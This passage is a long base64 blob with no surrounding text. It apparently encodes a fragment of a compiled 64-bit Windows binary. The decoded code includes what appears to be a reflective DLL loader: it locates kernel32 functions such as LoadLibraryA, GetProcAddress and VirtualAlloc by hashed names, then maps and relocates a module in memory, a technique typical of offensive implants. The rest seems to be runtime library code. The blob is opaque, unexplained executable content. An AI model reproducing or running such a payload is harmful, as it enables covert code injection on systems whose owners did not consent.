iwFIi9lIiVXnSIlF70iF0g+E3wAAAEiNRRdIjVXnSI1N90G4GAAAAEiJRffoByX+/4XAD4SjAAAASItFJ+mDAAAASI1FL0iNVedIjU33QbgoAAAASIlF9+jbJP7/hcB0VEiLRU9IixNIjU1HSIlF5+gLaf7/hcB0SEiLE0iNTTfo+2j+/4XAdCBEi0UfTI1N50iNVS9Ii8tIiXwkIP/WSItNP/8VMz0BAEiLTU//FSk9AQDrDEiNDSiuAwDoBy7+/0iLRS9IiUXnSIXAD4Vw////SItFF0iJRefrEEiNDWGuAwDo4C3+/0iLRedIhcAPhSH///9MjZwkoAAAAEmLWxBJi3MYSYt7IEmL413DzMxIg+w4SI0FCYMBAEiNVCQgSI0N9cP//0iJRCQgx0QkKAEAAADo58D//0iDxDjDzMxIiVwkCEiJfCQQVUiNbCSpSIHs0AAAAINl5wBIg2XvAEiDZccASI1F90iL2UiLCUiJRddIjUXnM/85PVkNBABIiUXfSIsBSIlFz3VHSCF8JDhIIXwkMEghfCQoSI0FEk8EAESNTwNMjQVnDQQASI0VAA0EAEiJRCQg6Lrd//+FwHURSI0Ny9ACAOj6LP7/6ZYAAABIiwXaTgQASI1Vx0iNTddBuBAAAABIiUXH6Ecj/v+FwHR062FIjVXHSI1N10G4YAAAAOguI/7/hcB0W0iLSxCLRQ85AXU/i0UTOUEEdTdIg30vAHUOSIN9PwB1B0iDfU8AdCJIjQ3vpgMAi9fohCz+/0iNTSdBuAAAAMBIi9P/x+iU1f//SItF90g7BVFOBABIiUXHdY5MjZwk0AAAAEmLWxBJi3sYSYvjXcPMzEiD7DhIjQWRgQEASI1UJCBIjQ2Fwv//SIlEJCDHRCQoAQAAAOh3v///SIPEOMPMzEiJXCQIVUiNbCTASIHsQAEAAINkJGAASINkJGgASINkJEAAgz1eCwQAAEiNRbBIi9lIiwlIiUQkUEiNRCRgSIlEJFhIiwFIiUQkSHVMSINkJDgASINkJDAASINkJCgASI0Fpk0EAEyNBScLBABIjRXwCgQAQbkBAAAASIlEJCDoRNz//4XAdRFIjQ1VzwIA6IQr/v/phgAAAEiLBWxNBABMi0MQSI1MJEC6bAAAAEiJRCRA6JTe//9IiUQkQEiFwHRdSI1UJEBIjUwkUEG4kAAAAOixIf7/hcB0REiLRThIiUQkQEiFwHQ2SI1EJHBIjVQkQEiNTCRQQbg4AAAASIlEJFDogCH+/4XAdBNIjUwkeEG4AAAAQEiL0+gd1P//SIucJFABAABIgcRAAQAAXcNIg+w4SI0FKYABAEiNVCQgSI0NJcH//0iJRCQgx0QkKAEAAADoF77//0iDxDjDzMxMi9xJiVsISYl7EFVIi+xIg+xwg2XwAEiDZfgASINl4ABIg2XQAIM9uwgEAABIjUXwSIvZSIsJSIlF6EiLAUiJRdh1S0iNBXFMBABMjQWiCAQASI0VawgEAEmJQ8BJg2O4AEmDY7AASI0FRkwEAEG5AwAAAEmJQ6jo69r//4XAdQ5IjQ38zQIA6Csq/v/rekiLBR5MBABMi0MQSGM9G0wEAEiNTdC6IAAAAEiJRdDoSdz//0iJRdBIhcB0TUiNVzC5QAAAAP8VCTkBAEiJReBIhcB0NUyNRzBIjVXQSI1N4OhDIP7/hcB0FkhjDcxLBABFM8BIi9NIA03g6N3S//9Ii03g/xXDOAEATI1cJHBJi1sQSYt7GEmL413DzEiLxEyJSCBEiUAYSIlQEEiJSAhTVVZXQVRBVUFWQVdIg+xIZUiLBCVgAAAARTPJTIviTItQGEWL8UWL+UmLciBBi+lMiUwkMEWL6UyJTCQ4TIlMJCBIiXQkKEGNWQJFjVEBSIX2D4QWAgAAQbv//wAARYvhSItWUEQPt0ZISYvJwckNgDphcgoPtgKD6CBImOsDD7YCSAPISQPSZkUDw3XfgflbvEpqD4XkAAAASItWIEG8BAAAAL7//wAASGNCPEEPt9yLvBCIAAAARItUFyBEi1wXJEwD0kwD2kWLAkGLyUwDwkGKAMHJDQ++wEn/wAPIQYoAhMB17oH5jk4O7HQYgfmq/A18dBCB+VTKr5F0CIH5787gYHVUi0QXHEUPtwNMjQwCgfmOTg7sdQlHizSBTAPy6zGB+ar8DXx1CUeLPIFMA/rrIIH5VMqvkXUJQ4ssgUgD6usPgfnvzuBgdQdHiyyBTAPqZgPeRTPJTQPUSYPDAmaF2w+FXv///0yLZCQgTIlsJDhIiWwkMOmpAAAAgfldaPo8D4WyAAAATItGIEG9//8AAEljQDxCi7wAiAAAAEkD+ESLTyBEi1ckRItfGE0DyE0D0DP2jW4ERYXbdFZBixGLzkkD0IoCwckND77ASP/CA8iKAoTAde+B+bgKTFN0CoH5GgZ//3UY6xKLRxxBD7cSSY0MAESLJJFNA+BmQQPduAIAAABMA81B/8tMA9Bmhdt1pUiLbCQwTItsJDhMiWQkIEUzyUiLdCQoQboBAAAAQbv//wAAQY1aAU2F9nQUTYX/dA9Ihe10Ck2F7XQFTYXkdRFIizZIiXQkKEiF9g+F+/3//0yLpCSYAAAASWN8JDwzyUG4ADAAAEkD/ESNSUCLV1BIibwkmAAAAP/Vi1dURTPtSIvYSYvERY1dAUiF0nQUTIvDTSvEighBiAwASQPDSSvTdfJED7dPBg+3RxRNhcl0NkiNTDgsi1H4RIsBRItR/EgD000DxE0ry02F0nQQQYoATQPDiAJJA9NNK9N18EiDwShNhcl1z4u3kAAAAEgD8+mKAAAAi8hIA8tB/9ZEiyaLbhBMA+NIA+tMi+gzwOtiTYXkdDtIuAAAAAAAAACASYUEJHQrSWNFPEEPtxQkQouMKIgAAABCi0QpEEgr0EKLRCkcSY1MBQCLBJFJA8XrD0iLRQBJi81IjVQDAkH/10iJRQBIg8UIM8BNheR0BEmDxAhIOUUAdZhIg8YURTPti0YMhcAPhWv///9Mi8tMK08wRDmvtAAAAA+EpQAAAIuXsAAAAEgD04tCBIXAD4SRAAAAvv8PAAC/AgAAAESLAkSL0EyNWghJg+oITAPDSdHqdFy9AQAAAEEPtwtMK9UPt8FmwegMZoP4CnUJSCPOTgEMAesyZoP4A3UJSCPORgEMAesjZjvFdRFJi8FII85IwegQZkIBBAHrDWY7x3UISCPOZkYBDAFMA99NhdJ1qYtCBEgD0ItCBIXAdYFIi7wkmAAAAIt3KEUzwDPSSIPJ/0gD8/9UJCBMi4QkkAAAAEG8AQAAAEGL1EiLy//WRDmvjAAAAA+EpQAAAESLh4gAAABMA8NFi1gYRYXbD4SOAAAARTloFA+EhAAAAEWLUCBBi0gkQYv9TAPTSAPLRYXbdG6LrCSgAAAARYsKQYvVTAPLQYoBwcoND77ATQPMA9BBigGEwHXuO9V0FrgCAAAAQQP8SYPCBEgDyEE7+3LK6y8PtwmD+f90J0WLQBzB4QJIY9FIjQwTi5QksAAAAEWLDAhIi4wkqAAAAEwDy0H/0UiLxkiDxEhBX0FeQV1BXF9eXVvDzMxIjQWdNgEASIkB6X0IAADMSIlcJAhXSIPsIEiNBYM2AQCL2kiL+UiJAeheCAAA9sMBdAhIi8/oJQkAAEiLx0iLXCQwSIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wwSIv5SIXJdQQzwOtrg2QkKABIg2QkIABBg8n/TIvBQY1RCbnp/QAA/xXsMgEASGPwhcB+1EiLzroCAAAA6FQMAABIi9hIhcB0v0GDyf9Mi8cz0rnp/QAAiXQkKEiJRCQg/xWzMgEAhcB1CkiLy+jjCwAAM9tIi8NIi1wkQEiLdCRISIPEMF/DzMxIiVwkCEiJdCQQV0iD7EBIi/lIhcl1BzPA6YEAAABIg2QkOABIg2QkMACDZCQoAEiDZCQgAEyLwUGDyf+56f0AADPS/xU/MgEASGPwhcB+x0iLzroBAAAA6K8LAABIi9hIhcB0skiDZCQ4AEiDZCQwAEGDyf9Mi8cz0rnp/QAAiXQkKEiJRCQg/xX6MQEAhcB1CkiLy+gyCwAAM9tIi8NIi1wkUEiLdCRYSIPEQF/DzP/KdBaD+gV1GE2FwHQTSIsFczEEAEmJAOsHSIkNZzEEALgBAAAAw8xIg+wo6If+//9Ii8jo52z+/0iLyEiDxCjpC////8zMzOnTbP7/zMzMQFNIg+wgSIvZ6OYGAABMjR2rNAEATIkbSIvDSIPEIFvDzMzMSIlcJAhXSIPsIEmL+EyLQRBIi8JIi9lMO8JzDUiNDYk0AQDoqAQAAMxMK8BMO8dJD0L4SIX/dElIg3kYEHIFSIsR6wNIi9FIg3kYEHIDSIsJSAPQTCvHSAPISAPX6BIHAABMi1sQTCvfSIN7GBBMiVsQcgVIiwPrA0iLw0LGBBgASIvDSItcJDBIg8QgX8PMTIlEJBhIiVQkEEiJTCQIU1ZXQVRIg+xoSMdEJCD+////TYvgSIv5SIvaSIPLD0nHwf7///9JO9l2BUiL2usxTItBGEmLyEjR6Ui4q6qqqqqqqqpI9+NI0epIO8p2EkmLwUgrwUw7wEqNHAF2A0mL2UiNSwEz9kiFyXRMSIP5/3cN6BYKAABIi/BIhcB1OUiDpCSoAAAAAEiNlCSoAAAASI1MJCjo1wQAAEiNBVwzAQBIiUQkKEiNFcDEAwBIjUwkKOh6CgAAkOsgSIu8JJAAAABMi6QkoAAAAEiLnCSYAAAASIu0JKgAAABNheR0GkiDfxgQcgVIixfrA0iL102LxEiLzujcBQAASIN/GBByCEiLD+ixBQAAxgcASIk3SIlfGEyJZxBIg/sQSA9D/kLGBCcASIPEaEFcX15bw0iJXCQISIlsJBBIiXQkGFdIg+wgSIt6EEmL6EiL8kiL2Uk7+HMNSI0NszIBAOjSAgAAzEkr+Ew7z0kPQvlIO8p1H0qNFAdJg8j/6OX9//9Mi8Uz0kiLy+jY/f//6YMAAABIg//+dg1IjQ2KMgEA6DUCAADMSDl5GHMOTItBEEiL1+g+/v//6xtIhf91G0gheRBIg3kYEHIFSIsB6wNIi8HGAABIhf90PEiDfhgQcgNIizZIg3sYEHIFSIsL6wNIi8tIjRQuTIvH6NsEAABIg3sYEEiJexByBUiLA+sDSIvDxgQ4AEiLbCQ4SIt0JEBIi8NIi1wkMEiDxCBfw0iJXCQISIl0JBBXSIPsIEmL+EiL8kiL2UiF0nRMSIN5GBByBUiLAesDSIvBSDvQcjhIg3kYEHIDSIsJSANLEEg7ynYlSIN7GBByBUiLA+sDSIvDSCvwTYvISIvTTIvGSIvL6J3+///rfkmD+P52DUiNDYYxAQDoMQEAAMxMOUMYcxFMi0MQSIvXSIvL6Df9///rG02FwHUWTCFDEEiDexgQcgVIiwPrA0iLw8YAAEiF/3QxSIN7GBByBUiLC+sDSIvLTIvHSIvW6N8DAABIg3sYEEiJexByBUiLA+sDSIvDxgQ4AEiLw0iLXCQwSIt0JDhIg8QgX8PMSIPsWEiLBXnoAwBIM8RIiUQkSEiDZCQwAESLwkiL0UiNTCQgSMdEJDgPAAAAxkQkIADo0f7//0iDfCQ4EEiNTCQgSA9DTCQg6Df6//9Ii8jol2j+/0iLyOi/+v//SIN8JDgQcgpIi0wkIOgpAwAAuAEAAABIi0wkSEgzzOgzDwAASIPEWMPMzOk3AgAAzMzMQFNIg+wgSIvZ6HICAABMjR2fMAEATIkbSIvDSIPEIFvDzMzMSIPsSEiJTCRQSI1UJFBIjUwkIOiEAQAATI0diTABAEiNFSLCAwBIjUwkIEyJXCQg6CcHAADMzMxAU0iD7CBIi9noFgIAAEyNHVswAQBMiRtIi8NIg8QgW8PMzMxIg+xISIlMJFBIjVQkUEiNTCQg6CgBAABMjR1FMAEASI0VLsIDAEiNTCQgTIlcJCDoywYAAMzMzEBTSIPsIEiL2ei6AQAATI0dFzABAEyJG0iLw0iDxCBbw8zMzEiJXCQIV0iD7CCL2kiL+ehEAQAA9sMBdAhIi8/oCwIAAEiLx0iLXCQwSIPEIF/DzEiNBekvAQBIiQFIiwLGQRAASIlBCEiLwcPMzMxIg3kIAEiNBdgvAQBID0VBCMPMzEiF0nRUSIlcJAhIiXQkEFdIg+wgSIv5SIvKSIva6LYtAABIi/BIjUgB6HocAABIiUcISIXAdBNIjVYBTIvDSIvI6BYtAADGRxABSItcJDBIi3QkOEiDxCBfw8zMQFNIg+wggHkQAEiL2XQJSItJCOioBAAASINjCADGQxAASIPEIFvDzEBTSIPsIEiDYQgASI0FKi8BAMZBEABIiQFIixJIi9noWP///0iLw0iDxCBbw8zMzEiJXCQIV0iD7CBIi/pIi9lIO8p0IeiO////gH8QAHQOSItXCEiLy+gg////6whIi0cISIlDCEiLw0iLXCQwSIPEIF/DSI0FwS4BAEiJAelV////zEiJXCQIV0iD7CBIjQWnLgEAi9pIi/lIiQHoNv////bDAXQISIvP6JkAAABIi8dIi1wkMEiDxCBfw8zMzEBTSIPsIEiDYQgASI0Fai4BAEiL2UiJAcZBEADoT////0iLw0iDxCBbw8zMSIlcJAhXSIPsIEiNBW8uAQCL2kiL+UiJAejyLAAA9sMBdAhIi8/oMQAAAEiLx0iLXCQwSIPEIF/DzMzMSIPsKEiLwkiNURFIjUgR6EgtAACFwA+UwEiDxCjDzMzpSwMAAMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAATIvZSCvRD4KeAQAASYP4CHJh9sEHdDb2wQF0C4oECkn/yIgBSP/B9sECdA9miwQKSYPoAmaJAUiDwQL2wQR0DYsECkmD6ASJAUiDwQRNi8hJwekFdVFNi8hJwekDdBRIiwQKSIkBSIPBCEn/yXXwSYPgB02FwHUISYvDww8fQACKBAqIAUj/wUn/yHXzSYvDw2ZmZmZmZmYPH4QAAAAAAGZmZpBmZpBJgfkAIAAAc0JIiwQKTItUCghIg8EgSIlB4EyJUehIi0QK8EyLVAr4Sf/JSIlB8EyJUfh11EmD4B/pcf///2ZmZg8fhAAAAAAAZpBIgfoAEAAAcrW4IAAAAA8YBAoPGEQKQEiBwYAAAAD/yHXsSIHpABAAALhAAAAATIsMCkyLVAoITA/DCUwPw1EITItMChBMi1QKGEwPw0kQTA/DURhMi0wKIEyLVAooSIPBQEwPw0ngTA/DUehMi0wK8EyLVAr4/8hMD8NJ8EwPw1H4dapJgegAEAAASYH4ABAAAA+Dcf////CADCQA6bn+//9mZmZmDx+EAAAAAABmZmaQZmZmkGaQSQPISYP4CHJh9sEHdDb2wQF0C0j/yYoECkn/yIgB9sECdA9Ig+kCZosECkmD6AJmiQH2wQR0DUiD6QSLBApJg+gEiQFNi8hJwekFdVBNi8hJwekDdBRIg+kISIsECkn/yUiJAXXwSYPgB02FwHUHSYvDww8fAEj/yYoECkn/yIgBdfNJi8PDZmZmZmZmZg8fhAAAAAAAZmZmkGZmkEmB+QAgAABzQkiLRAr4TItUCvBIg+kgSIlBGEyJURBIi0QKCEyLFApJ/8lIiUEITIkRddVJg+Af6XP///9mZmZmDx+EAAAAAABmkEiB+gDw//93tbggAAAASIHpgAAAAA8YBAoPGEQKQP/IdexIgcEAEAAAuEAAAABMi0wK+EyLVArwTA/DSfhMD8NR8EyLTAroTItUCuBMD8NJ6EwPw1HgTItMCthMi1QK0EiD6UBMD8NJGEwPw1EQTItMCghMixQK/8hMD8NJCEwPwxF1qkmB6AAQAABJgfgAEAAAD4Nx////8IAMJADpuv7//0iFyXQ3U0iD7CBMi8FIiw0IJwQAM9L/FdAmAQCFwHUX6L8qAABIi9j/FW4mAQCLyOhnKgAAiQNIg8QgW8PMzMxAU0iD7CCDZCRAAEyNRCRA6I8rAABIi9hIhcB1GzlEJEB0Feh8KgAASIXAdAvocioAAItMJECJCEiLw0iDxCBbw8zMzEBTSIPsQEiL2esPSIvL6FktAACFwHQTSIvL6OkWAABIhcB050iDxEBbw4sF2CUEAEG4AQAAAEiNHTMpAQBBhMB1OUELwEiNVCRYSI0NnyUEAIkFsSUEAEiNBfopAQBIiUQkWOjI+f//SI0NxRsBAEiJHXolBADo0SwAAEiNFW4lBABIjUwkIOgY+///SI0VTboDAEiNTCQgSIlcJCDoAgAAAMzMSIlcJBBIiXwkGFVIi+xIg+xgSIv6SIvZSI1NwEiNFaEpAQBBuEAAAADodvv//0iNVRBIi89IiV3oSIl98Oi+FAEATIvYSIlFEEiJRfhIhf90G/YHCLkAQJkBdAWJTeDrDItF4E2F2w9EwYlF4ESLRdiLVcSLTcBMjU3g/xU7JQEATI1cJGBJi1sYSYt7IEmL413DzEiJXCQQSIlsJBhIiXQkIFdBVEFVQVZBV0iD7CBJY3gMTIv5SYvISYvpTYvoTIvy6MAsAABNixdMiVUARIvghf8PhIQAAABIjQy/SI00jez///9JY10QSQNeCEgD3kQ7YwR+SUQ7Ywh/Q0mLDkiNVCRQRTPA6PkTAQBMY0MQRItLDEwDRCRQRIsQM8lFhcl0F0mNUAxIYwJJO8J0C//BSIPCFEE7yXLtQTvJcgpIg+4U/890FuucSYsHSI0MiUljTIgQSIsMAUiJTQBIi1wkWEiLdCRoSIvFSItsJGBIg8QgQV9BXkFdQVxfw8zMSIPsKOgXLgAASIuAKAEAAEiDxCjDzMzMSIPsKOj/LQAASIuAMAEAAEiDxCjDzMzMQFNIg+wgSIvZ6OItAABIiZgoAQAASIPEIFvDzEBTSIPsIEiL2ejGLQAASImYMAEAAEiDxCBbw8xIi8RIiVgISIloEEiJcCBXQVRBVUiD7CBMjUgYSYvoTIvi6IX+//9Ji9RIi81Mi+joaysAAEhjfQyL8IX/dDRIjQy/SI0cjez////oaC0AAEhjTRBIi5AoAQAASAPRSAPTO3IEfgU7cgh+CkiD6xT/z3XYM9JIhdJ1BkGDyf/rBESLSgRMi8VJi9RJi83oBjEAAEiLXCRASItsJEhIi3QkWEiDxCBBXUFcX8PMSIlcJBBIiXQkGFdIg+xASYvZSYv4SIvxSIlUJFDo6iwAAEiLUwhIiZAoAQAA6NosAABIi1Y4SImQMAEAAOjKLAAASItTOESLAkiNVCRQTIvLTAOAKAEAADPASIvOiUQkOEiJRCQwiUQkKEyJRCQgTIvH6PU/AABIi1wkWEiLdCRgSIPEQF/DzEiJXCQISIlsJBBIiXQkGFdIg+xASYvxSYvoSIvaSIv56F8sAABIiZg4AQAASIsf6FAsAABIi1M4SItMJHhMi0wkcMdEJDgBAAAASImQMAEAADPbSIlcJDCJXCQoSIlMJCBIiw9Mi8ZIi9XodT8AAOgQLAAASIuMJIAAAABIi2wkWEiLdCRgSImYOAEAAI1DAUiLXCRQxwEBAAAASIPEQF/DzMzMSIvETIlIIEyJQBhIiVAQSIlICFNIg+xgSIvZg2DYAEiJSOBMiUDo6LQrAABMi4DgAAAASI1UJEiLC0H/0MdEJEAAAAAA6wCLRCRASIPEYFvDzMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVIg+wgSGNaDEyLZCRwSIv6SIvPSYvURYvpM+3oQCkAAIvwhdt1Bej5QgAATItUJGhMi0QkYEGDy/9FiRqL00WJGIXbdCpIY08QSI0Em0iNDIFJi0QkCEyNTAH0QTtx/H4FQTsxfglJg+kUQQPTdeyF0nQUjUL/SI0UgEhjRxBIjSyQSQNsJAgz0oXbdGVFM8lIY08QSQNMJAhJA8lIhe10D4tFBDkBfiWLRQg5QQR/HUQ7KXwYRDtpBH8SQYsAQTvDD0TCQYkAjUIBQYkC/8JJg8EUO9NyuUU5GHQWQYsASI0MgEhjRxBIjQSISQNEJAjrCkGDIABBgyIAM8BIi1wkQEiLbCRISIt0JFBIg8QgQV1BXF/DzMzMQFNIg+wgSIvZSIkR6E8qAABIO5ggAQAAcw7oQSoAAEiLiCABAADrAjPJSIlLCOgtKgAASImYIAEAAEiLw0iDxCBbw8xAU0iD7CBIi9noDioAAEiLkCABAADrCUg5GnQSSItSCEiF0nXyjUIBSIPEIFvDM8Dr9szMSIlcJAhXSIPsIEiL+ejWKQAASDu4IAEAAHQF6HRBAADowykAAEiLmCABAADrCUg7+3QZSItbCEiF23Xy6FNBAABIi1wkMEiDxCBfw+iXKQAASItLCEiJiCABAADr48zMQFVTVldBVEFVQVZBV0iNrCRI+///SIHsuAUAAEiLBTnaAwBIM8RIiYWgBAAASIudIAUAAEiLvTAFAABMi7U4BQAATIvqTIv5TYvgSI1MJDBIjRWVIwEAQbiYAAAASYvx6Cf1//9IY4UoBQAASYsWSYsPSIlEJGgPtoVABQAATI0dqy8AAEyNRCQwSIlFiEmLRkBFM8lIiUQkKEiNRdBMiVwkUEiJdCRYSIlcJGBMiWQkcEiJRCQgSIl8JHhMiW2ASMdFkCAFkxnoJw4BAEiLjaAEAABIM8zosAAAAEiBxLgFAABBX0FeQV1BXF9eW13DQFNIg+wgRYsYSIvaTIvJQYPj+EH2AARMi9F0E0GLQAhNY1AE99hMA9FIY8hMI9FJY8NKixQQSItDEItICEgDSwj2QQMPdAwPtkEDg+DwSJhMA8hMM8pJi8lIg8QgW+k5AAAAzEiD7ChNi0E4SIvKSYvR6In///+4AQAAAEiDxCjDzMzMzMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAASDsNydgDAHURSMHBEGb3wf//dQLzw0jByRDp0T8AAMxMi9xNiUMYTYlLIEiD7DhJjUMgRTPJSYlD6OiVRgAASIPEOMNAU0iD7CBIi9nGQRgASIXSdX/ooScAAEiJQxBIi5DAAAAASIkTSIuIuAAAAEiJSwhIOxU15wMAdBaLgMgAAACFBffiAwB1COgAUgAASIkDSIsF5uEDAEg5Qwh0G0iLQxCLiMgAAACFDdDiAwB1CegJSQAASIlDCEiLQxD2gMgAAAACdRSDiMgAAAACxkMYAesHDxAC8w9/AUiLw0iDxCBbw8zMzEiLxEiJWAhIiWgQSIlwGFdIg+xASIvxSIv6SI1I2EmL0Og2////M+1IhfZ1Lej+IAAAxwAWAAAA6J9DAABAOGwkOHQMSItEJDCDoMgAAAD9uP///3/pkwAAAEiF/3TOSItEJCA5aBR1Okgr9w+3HD5mg/tBcgpmg/tadwRmg8MgD7cHZoP4QXIKZoP4WncEZoPAIEiDxwJmhdt0NmY72HTL6y8Ptw5IjVQkIOhwUQAAD7cPSI1UJCAPt9hIg8YC6FxRAABIg8cCZoXbdAVmO9h00Q+3yA+3wyvBQDhsJDh0DEiLTCQwg6HIAAAA/UiLXCRQSItsJFhIi3QkYEiDxEBfw8zMSIPsKEUzwEyLyUQ5BQsiBAB1akiFyXUa6A8gAADHABYAAADosEIAALj///9/SIPEKMNIhdJ04UwrykEPtwQRZoP4QXIKZoP4WncEZoPAIA+3CmaD+UFyCmaD+Vp3BGaDwSBIg8ICZoXAdAVmO8F0yg+3yQ+3wCvBSIPEKMNIg8Qo6Xb+///MzEiJXCQISIl0JBhIiVQkEFdBVEFVSIPsIE2L4UmL8EiL+kyL6TPASIXSD5XAhcB1FehvHwAAxwAWAAAA6BBCAACDyP/rRzPATYXAD5XAhcB030iLyugjAgAAkEiLz+gKUQAAi9hMi0wkYE2LxEiL1kiLz0H/1YvwSIvXi8vov1EAAJBIi8/oigIAAIvGSItcJEBIi3QkUEiDxCBBXUFcX8NIg+w4TIlEJCBMi8JIi9FIjQ3CUQAARTPJ6EL///9Ig8Q4w8xIi8RIiVgISIloEEiJcBhXSIPsUEiDYMgASIvaM9JJi/BIi+lEjUIoSI1I0EmL+eiUQQAASIXbdRXooh4AAMcAFgAAAOhDQQAAg8j/6yxIg2QkMABIg2QkIABIjUwkIEyLz0yLxkiL08dEJCj///9/x0QkOEIAAAD/1UiLXCRgSItsJGhIi3QkcEiDxFBfw8xMi8pIi9FIjQ0XUQAARTPA6Vv////MzMxIjQX51AMAw0BTSIPsIIsFLD8EALsUAAAAhcB1B7gAAgAA6wU7ww9Mw0hjyLoIAAAAiQUJPwQA6BBsAABIiQX1LgQASIXAdSSNUAhIi8uJHew+BADo82sAAEiJBdguBABIhcB1B7gaAAAA63YzyUiNFYvUAwBIiRQBSIPCMEiDwQhI/8t0CUiLBasuBADr5kUzwEiNFYPUAwBFjUgDSYvITI0VWSwEAEmLwEjB+AWD4R9JiwTCSGvJWEyLFAFJg/r/dAtJg/r+dAVNhdJ1BscC/v///0n/wEiDwjBJ/8l1vTPASIPEIFvDSIPsKOgbAwAAgD04GQQAAHQF6OFsAABIiw0yLgQASIPEKOlF8v//zEBTSIPsIEiL2UiNDeDTAwBIO9lyPkiNBWTXAwBIO9h3MkiL00i4q6qqqqqqqipIK9FI9+pIwfoDSIvKSMHpP41MERDoQG8AAA+6axgPSIPEIFvDSI1LMEiDxCBbSP8lJRgBAMxAU0iD7CBIi9qD+RR9E4PBEOgObwAAD7prGA9Ig8QgW8NIjUowSIPEIFtI/yXzFwEAzMzMSI0VUdMDAEg7ynI1SI0F1dYDAEg7yHcpD7pxGA9IK8pIuKuqqqqqqqoqSPfpSMH6A0iLykjB6T+NTBEQ6a9tAABIg8EwSP8lnBcBAIP5FH0ND7pyGA+DwRDpkm0AAEiNSjBI/yV/FwEAzMzMSIlcJAhIiXQkEFdIg+wgi0EYM/ZIi9kkAzwCdT/3QRgIAQAAdDaLOSt5EIX/fi3obAQAAEiLUxBEi8eLyOjmdQAAO8d1D4tDGITAeQ+D4P2JQxjrB4NLGCCDzv9Ii0sQg2MIAIvGSIt0JDhIiQtIi1wkMEiDxCBfw8zMzEBTSIPsIEiL2UiFyXUKSIPEIFvpNAAAAOhn////hcB0BYPI/+sg90MYAEAAAHQVSIvL6O0DAACLyOhOdgAA99gbwOsCM8BIg8QgW8NIiVwkCEiJdCQQSIl8JBhBVEFVQVdIg+wwRIvpM/Yz/41OAeiUbQAAkDPbQYPP/4lcJCA7HSs8BAAPjYAAAABMY+NIiwUTLAQASoM84AB0aEqLFOD2QhiDdF6Ly+g3/v//kEiLBfMrBABKiwzg9kEYg3QzQYP9AXUS6Db///9BO8d0I//GiXQkJOsbRYXtdRb2QRgCdBDoGf///0E7x0EPRP+JfCQoSIsVrysEAEqLFOKLy+hg/v///8PpcP///7kBAAAA6PNrAABBg/0BD0T+i8dIi1wkUEiLdCRYSIt8JGBIg8QwQV9BXUFcw0iJXCQQSIlMJAhXSIPsIEiL2UiFyXUH6Pj+///rGugl/f//kEiLy+ic/v//i/hIi8voqv3//4vHSItcJDhIg8QgX8PMuQEAAADpxv7//8zMSIlcJBBIiXQkGFdBVEFVSIPsMEiJZCQgRYvgSIv6SIvxRTPtQYvFSIXJD5XAhcB1F+jqGQAAxwAWAAAA6Is8AAAzwOmBAAAAQYvFSIXSD5XAhcB03EGLxWZEOSoPlcCFwHTO6FR4AABIi9hIiUQkUEiFwHUN6KYZAADHABgAAADrv2ZEOS51IuiTGQAAxwAWAAAASI0VDAAAAEiLTCQg6IR5AACQkDPA6x9Mi8hFi8RIi9dIi87oIXUAAEiL+EiLy+jK/P//SIvHSItcJFhIi3QkYEiDxDBBXUFcX8PMzMxBuEAAAADpFf///8xIiVwkCEiJdCQQSIl8JBhVQVRBVUiL7EiD7FAz202L4EyL6UiL8kiNTdhEjUMoM9JJi/lIiV3Q6OA7AABIhf91GOjuGAAAxwAWAAAA6I87AACDyP/ppwAAAE2F5HQFSIX2dN7HRehCAAAASIl14EiJddBJgfz///8/dgnHRdj///9/6wdDjQQkiUXYTItNSEyLRUBIjU3QSIvXQf/Vi/hIhfZ0XIXAeEn/Tdh4E0iLRdCIGEiLRdBI/8BIiUXQ6xRIjVXQM8nojTcAAIP4/3QhSItF0P9N2HgEiBjrEEiNVdAzyehwNwAAg/j/dASLx+sPOV3YZkKJXGb+D53DjUP+TI1cJFBJi1sgSYtzKEmLezBJi+NBXUFcXcPMzEiJXCQIV0iD7DAz/0iL2U2FwHRHSIXJdEJIhdJ0PUiLRCRgSIlEJChMiUwkIE2LyEyLwkiL0UiNDctWAADoov7//4XAeQNmiTuD+P51IOjFFwAAxwAiAAAA6wvouBcAAMcAFgAAAOhZOgAAg8j/SItcJEBIg8QwX8PMzMxIg+w4TIlMJCBFM8noc////0iDxDjDzMxIg+woSIXJdRXodhcAAMcAFgAAAOgXOgAAg8j/6wOLQRxIg8Qow8zMSIlcJAhMY8FIjR0VJgQATYvIQYPgH0nB+QVNa8BYSosMy0KKRAE4Rg+2XAEIAsBBgeOAAAAARA++0EHR+oH6AEAAAHRYgfoAgAAAdEiB+gAAAQB0KIH6AAACAHQggfoAAAQAdUhCgEwBCIBKiwTLQoBkADiBQoBMADgB6zBCgEwBCIBKiwTLQoBkADiCQoBMADgC6xhCgGQBCH/rEEKATAEIgEqLDMtCgGQBOIBFhdt1B7gAgAAA6w9B99obwCUAwAAABQBAAABIi1wkCMPMzEiD7ChIhcl1F+h+FgAAxwAWAAAA6B85AAC4FgAAAOsKiwWuGgQAiQEzwEiDxCjDzEiJXCQIV0iD7CCDz/9Ii9lIhcl1FOhCFgAAxwAWAAAA6OM4AAALx+tG9kEYg3Q66AT6//9Ii8uL+OiyfAAASIvL6JL+//+LyOjfewAAhcB5BYPP/+sTSItLKEiFyXQK6BTr//9Ig2MoAINjGACLx0iLXCQwSIPEIF/DzMxIiVwkEEiJTCQIV0iD7CBIi9mDz/8zwEiFyQ+VwIXAdRTouhUAAMcAFgAAAOhbOAAAi8frJvZBGEB0BoNhGADr8Ohy+P//kEiLy+g1////i/hIi8vo9/j//+vWSItcJDhIg8QgX8PMzEyLyUUzwA+3AUiDwQJmhcB19EiD6QJJO8l0BWY5EXXyZjkRTA9EwUmLwMPMSIlcJAhIiXQkEFdIg+wwSIvZSIXJdEzo/HsAALoCAAAASI1IAUiL8Oh76v//SIv4SIXAdC5IjVYBTIvDSIvI6AwIAACFwHUFSIvH6xhIg2QkIABFM8lFM8Az0jPJ6PI2AADMM8BIi1wkQEiLdCRISIPEMF/DzMzM6wlmO8J0EUiDwQIPtwFmhcB172Y7wnUESIvBwzPAw8xMi8lFD7YBSf/BQY1Av4P4GXcEQYPAIA+2Ckj/wo1Bv4P4GXcDg8EgRYXAdAVEO8F00UQrwUGLwMPMzMxIiVwkCEiJdCQQSIl8JBhVSIvsSIPsQEiL8UiL+kiNTeBJi9Doe/L//0iF9nUo6EUUAADHABYAAADo5jYAAIB9+AB0C0iLRfCDoMgAAAD9uP///3/ra0iF/3TTSItF4IN4FAB1HkiL10iLzuhU////gH34AHRLSItN8IOhyAAAAP3